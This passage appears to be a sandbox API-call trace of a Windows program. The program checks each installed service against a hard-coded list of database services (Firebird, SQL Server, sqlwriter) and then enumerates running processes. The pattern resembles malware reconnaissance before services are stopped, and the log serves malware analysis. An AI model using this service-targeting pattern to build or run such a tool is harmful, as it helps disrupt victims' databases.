lpString2="AppXSvc") returned 1 [0185.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0185.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0185.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0185.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0185.794] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0185.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0185.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0185.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0185.794] lstrlenW (lpString="Audiosrv") returned 8 [0185.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0185.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0185.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0185.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0185.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0185.794] lstrlenW (lpString="BFE") returned 3 [0185.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0185.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0185.795] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0185.795] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0185.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0185.795] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0185.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0185.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0185.795] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0185.795] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0185.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0185.795] lstrlenW (lpString="CDPSvc") returned 6 [0185.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0185.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0185.795] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0185.795] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0185.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0185.795] lstrlenW (lpString="ClickToRunSvc") returned 13 [0185.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0185.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0185.795] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0185.795] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0185.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0185.795] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0185.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0185.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0185.795] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0185.795] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0185.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0185.795] lstrlenW (lpString="CryptSvc") returned 8 [0185.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0185.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0185.796] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0185.796] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0185.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0185.796] lstrlenW (lpString="DcomLaunch") returned 10 [0185.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.796] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0185.796] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0185.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0185.796] lstrlenW (lpString="DeviceAssociationService") returned 24 [0185.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0185.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0185.796] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0185.796] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0185.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0185.796] lstrlenW (lpString="Dhcp") returned 4 [0185.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0185.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0185.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0185.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0185.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0185.796] lstrlenW (lpString="Dnscache") returned 8 [0185.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0185.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0185.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0185.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0185.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0185.797] lstrlenW (lpString="DPS") returned 3 [0185.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0185.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0185.797] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0185.797] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0185.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0185.797] lstrlenW (lpString="DusmSvc") returned 7 [0185.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0185.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0185.797] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0185.797] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0185.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0185.797] lstrlenW (lpString="EventLog") returned 8 [0185.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0185.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0185.797] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0185.797] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0185.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0185.797] lstrlenW (lpString="EventSystem") returned 11 [0185.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0185.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0185.797] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0185.797] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0185.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0185.797] lstrlenW (lpString="FontCache") returned 9 [0185.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0185.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0185.797] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0185.798] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0185.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0185.798] lstrlenW (lpString="gpsvc") returned 5 [0185.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0185.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0185.798] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0185.798] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0185.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0185.798] lstrlenW (lpString="iphlpsvc") returned 8 [0185.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.798] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0185.798] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0185.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0185.798] lstrlenW (lpString="KeyIso") returned 6 [0185.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0185.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0185.798] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0185.798] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0185.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0185.798] lstrlenW (lpString="LanmanServer") returned 12 [0185.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0185.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0185.798] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0185.798] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0185.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0185.798] lstrlenW (lpString="LanmanWorkstation") returned 17 [0185.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.799] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0185.799] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0185.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0185.799] lstrlenW (lpString="lfsvc") returned 5 [0185.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0185.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0185.799] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0185.799] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0185.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0185.799] lstrlenW (lpString="lmhosts") returned 7 [0185.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0185.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0185.799] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0185.799] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0185.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0185.799] lstrlenW (lpString="LSM") returned 3 [0185.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0185.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0185.799] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0185.799] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0185.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0185.799] lstrlenW (lpString="MpsSvc") returned 6 [0185.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0185.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0185.799] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0185.799] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0185.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0185.799] lstrlenW (lpString="NcbService") returned 10 [0185.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0185.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0185.800] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0185.800] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0185.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0185.800] lstrlenW (lpString="netprofm") returned 8 [0185.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0185.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0185.800] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0185.800] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0185.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0185.800] lstrlenW (lpString="NgcSvc") returned 6 [0185.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0185.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0185.800] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0185.800] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0185.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0185.800] lstrlenW (lpString="NlaSvc") returned 6 [0185.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0185.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0185.800] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0185.800] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0185.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0185.800] lstrlenW (lpString="nsi") returned 3 [0185.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0185.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0185.800] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0185.800] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0185.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0185.801] lstrlenW (lpString="PcaSvc") returned 6 [0185.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0185.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0185.801] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0185.801] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0185.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0185.801] lstrlenW (lpString="PlugPlay") returned 8 [0185.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0185.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0185.801] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0185.801] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0185.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0185.801] lstrlenW (lpString="Power") returned 5 [0185.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0185.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0185.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0185.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0185.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0185.801] lstrlenW (lpString="ProfSvc") returned 7 [0185.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0185.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0185.801] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0185.801] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0185.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0185.801] lstrlenW (lpString="RpcEptMapper") returned 12 [0185.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.801] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0185.801] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0185.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0185.802] lstrlenW (lpString="RpcSs") returned 5 [0185.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0185.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0185.802] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0185.802] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0185.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0185.802] lstrlenW (lpString="SamSs") returned 5 [0185.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0185.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0185.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0185.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0185.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0185.802] lstrlenW (lpString="Schedule") returned 8 [0185.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0185.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0185.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0185.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0185.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0185.802] lstrlenW (lpString="SecurityHealthService") returned 21 [0185.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0185.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0185.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0185.802] lstrlenW (lpString="SENS") returned 4 [0185.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0185.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0185.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0185.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0185.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0185.803] lstrlenW (lpString="ShellHWDetection") returned 16 [0185.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0185.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0185.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0185.803] lstrlenW (lpString="Spooler") returned 7 [0185.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0185.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0185.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0185.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0185.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0185.803] lstrlenW (lpString="StateRepository") returned 15 [0185.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0185.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0185.803] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0185.803] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0185.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0185.803] lstrlenW (lpString="SysMain") returned 7 [0185.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0185.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0185.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0185.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0185.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0185.803] lstrlenW (lpString="SystemEventsBroker") returned 18 [0185.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0185.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0185.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0185.804] lstrlenW (lpString="Themes") returned 6 [0185.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0185.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0185.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0185.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0185.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0185.804] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0185.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0185.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0185.804] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0185.804] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0185.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0185.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0185.902] Process32FirstW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.902] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.903] lstrlenW (lpString="System") returned 6 [0185.903] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.903] lstrlenW (lpString="smss.exe") returned 8 [0185.903] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.904] lstrlenW (lpString="csrss.exe") returned 9 [0185.904] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.904] lstrlenW (lpString="wininit.exe") returned 11 [0185.904] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.905] lstrlenW (lpString="csrss.exe") returned 9 [0185.905] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.905] lstrlenW (lpString="winlogon.exe") returned 12 [0185.905] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.906] lstrlenW (lpString="services.exe") returned 12 [0185.906] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.906] lstrlenW (lpString="lsass.exe") returned 